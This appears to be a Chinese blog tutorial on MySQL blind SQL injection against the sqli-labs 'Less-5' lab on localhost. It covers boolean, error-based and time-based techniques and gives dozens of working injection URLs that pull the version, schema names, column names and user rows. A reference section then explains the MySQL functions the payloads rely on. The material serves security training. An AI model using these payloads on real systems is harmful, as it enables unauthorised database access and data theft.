何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分三类:

  1. 基于布尔SQL盲注
  2. 基于时间的SQL盲注
  3. 基于报错的SQL盲注

基于布尔SQL盲注

(构造逻辑判断)基本操作

利用查询版本号来判断盲注

1.png

利用left() 函数查询版本号,如果返回字符串第一位是5,则正常返回,可以判断数据库用的是5+版本,如果没有正常回显,则代表出错。

http://127.0.0.1/less-5/?id=1'and left(version(),1)=5%23--+      --%23为#号

猜数据库长度

2.png

利用length() 函数加上二分法,猜出数据库长度,最后用等号进行验证

http://127.0.0.1/less-5/?id=1'and length(database())=8%23--+      --%23为#号

有时候可以直接跳过,不过最好猜一下,心里有个数。

猜数据库名

3.png

再次利用left函数,对数据库名的第一位进行猜解,重复这个过程,直到得到答案。

http://127.0.0.1/Less-5/?id=1'and left(database(),1)='s'--+

猜数据库的表名

4.png

利用ascii()substr()函数进行尝试,由于猜出库名为security 直接table_schema 的值直接写。然后利用limit提取该库中第一个表,在结合上述两个函数猜解。如果想要获得第二个表,可以用limit 1,1 就可以了。重复这个过程,直到得到答案。

http://127.0.0.1/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

猜数据库表的列名

5.png

http://127.0.0.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)--+

猜表的内容

6.png

利用ord()和mid()函数获取users表的内容

http://127.0.0.1/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

基于报错的SQL盲注

卸载前面,如果有些管理员将报错语句进行了注释,那么报错注入就不行了,那么可以进行其他盲注。

floor报错

7.png

利用floor()报错,将记录在information_schema.columns中列名按顺序显示第一个。

http://127.0.0.1/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

利用double报错

http://127.0.0.1/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

利用bigint溢出报错

http://127.0.0.1/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

利用xpath函数报错注入

8.png

利用extractvalue() 函数报错注入

http://127.0.0.1/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

9.png

利用updatexml() 函数报错注入

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

利用数据的重复性

10.png

重复 NAME_CONST() 函数出错注入

http://127.0.0.1/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

基于时间的SQL盲注

利用sleep函数进行注入

11.png

sleep() 函数如果正确,页面正常返回,如果错误页面会由五秒的时间延时,然后返回一个不正常页面

http://127.0.0.1/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

利用benchmark函数延时注入

12.png

利用benchmark() 进行延时注入,如果正常,则开始测试50000000次的encode,否则返回null

http://127.0.0.1/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

函数使用说明

mid()函数

作用:截取字符串一部分

语法:mid(column_name,start[,length])

参数 描述
column_name 必需,要提取字符的字段
start 必需,规定开始位置(起始值是1)
length 可选,要返回的字符数,如果省略,则mid()函数返回剩余文本

例:str="123456" mid(str,2,1) 结果为2

sql用例:

​ (1) mid(DATABASE(),1,1)>'a',查看数据库名第一位,mid(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

​ (2) mid((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数

作用:和substring()函数实现的功能是一样的,均为截取字符串

语法:substr(string,start,length)

参数描述和mid()相同

sql用例:

​ (1) substr(DATABASE(),1,1)>'a',查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

​ (2) substr((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处string参数可以为sql语句,可自行构造sql语句进行注入。

left()函数

作用:截取字符串左部制定个数的字符

语法:left(string,n)

参数描述: string 为要截取的字符串,n 为长度

sql用例:

​ (1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

​ (2) 同样的string可以为自行构造的sql语句。

ORD()/ASCII()函数

作用:ord()函数:返回第一个字符的ASCII码/ascii()函数:返回字符串str的最左面字符的ASCII码值。如果是空字符串,返回0,如果是NULL,返回NULL。

语法:ord(string)/ascii(string)

sql用例:

​ (1)ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’。

​ (2)ASCII(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’。

regexp正则注入

用法介绍:select user() regexp ‘^[a-z]’;

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

具体使用方法:链接

like操作符

作用:用于where子句中搜索列中的指定模式。

语法:select column_name from table_name where like pattern

sql用例:

​ Persons 表:

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York
3 Carter Thomas Changan Street Beijing
SELECT * FROM Persons WHERE City LIKE 'N%'

​ 结果集:

Id LastName FirstName Address City
2 Bush George Fifth Avenue New York

CAST()函数

作用:转换数据类型

语法:CAST(expression AS data_type)

参数描述:

参数名 描述
expression 任何有效的SQServer表达式。
AS 用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
data_type 目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。

使用CAST函数进行数据类型转换时,在下列情况下能够被接受:

(1)两个表达式的数据类型完全相同。
(2)两个表达式可隐性转换。
(3)必须显式转换数据类型。

IFNULL()函数

作用:返回一个数字或字符串值,取决于上下文环境

语法:IFNULL(expr1,expr2)

语法描述:如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2

()a别名

作用:()a相当于给括号内的内容起了一个别名,减少冗余。

例:concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
解析:concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) as a

描述:a可以是b、c、d…

NAME_CONST()函数

作用:返回给定值。 当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。

语法:NAME_CONST(name,value)

例:

mysql> SELECT NAME_CONST('myname', 14);
myname
14

extractvalue()函数

作用:从目标XML中返回包含所查询值得字符串

语法:extractvalue(XML_document,XPath_string)

语法描述:XML_document是String格式,为XML文档对象的名称。XPath_string(Xpath格式的字符串)

例:extractvalue(doc,'book/author/initial') 匹配名为doc的xml文字中,book->author->initial节点下的内容。

+------------------------------------------+
| extractvalue(doc,'/book/author/initial') |
+------------------------------------------+
| CJ                                       |
| J                                        |
+------------------------------------------+

book/author/initial可以替换成 / /initial,同理

updatexml()函数

作用:改变文档中符合条件的节点的值

语法:updatexml(XML_document, XPath_string, new_value)

语法描述:XML_document是String格式,为XML文档对象的名称。XPath_string(Xpath格式的字符串)。new_value为String格式,替换查找到的符合条件的数据。

例:

mysql> update x set doc=updatexml(doc,'/book/author/initial','!!!');
Query OK, 2 rows affected (0.08 sec)
Rows matched: 2  Changed: 2  Warnings: 0

mysql> select * from x;
+------------------------------------------------------------------------
-----------------------------+
| doc
                             |
+------------------------------------------------------------------------
-----------------------------+
|
<book>
<title>A guide to the SQL standard</title>
<author>
Date | | SQL:1999
<surname>Melton</surname>
</author>
</book>
                  |
+------------------------------------------------------------------------
-----------------------------+
2 rows in set (0.00 sec)

benchmark()函数

作用:函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快

语法:benchmark(count,expr)

例:

mysql> select BENCHMARK(1000000,encode("hello","goodbye"));   
+----------------------------------------------+   
| BENCHMARK(1000000,encode("hello","goodbye")) |   
+----------------------------------------------+   
| 0 |   
+----------------------------------------------+   
1 row in set (4.74 sec)

标签: none

添加新评论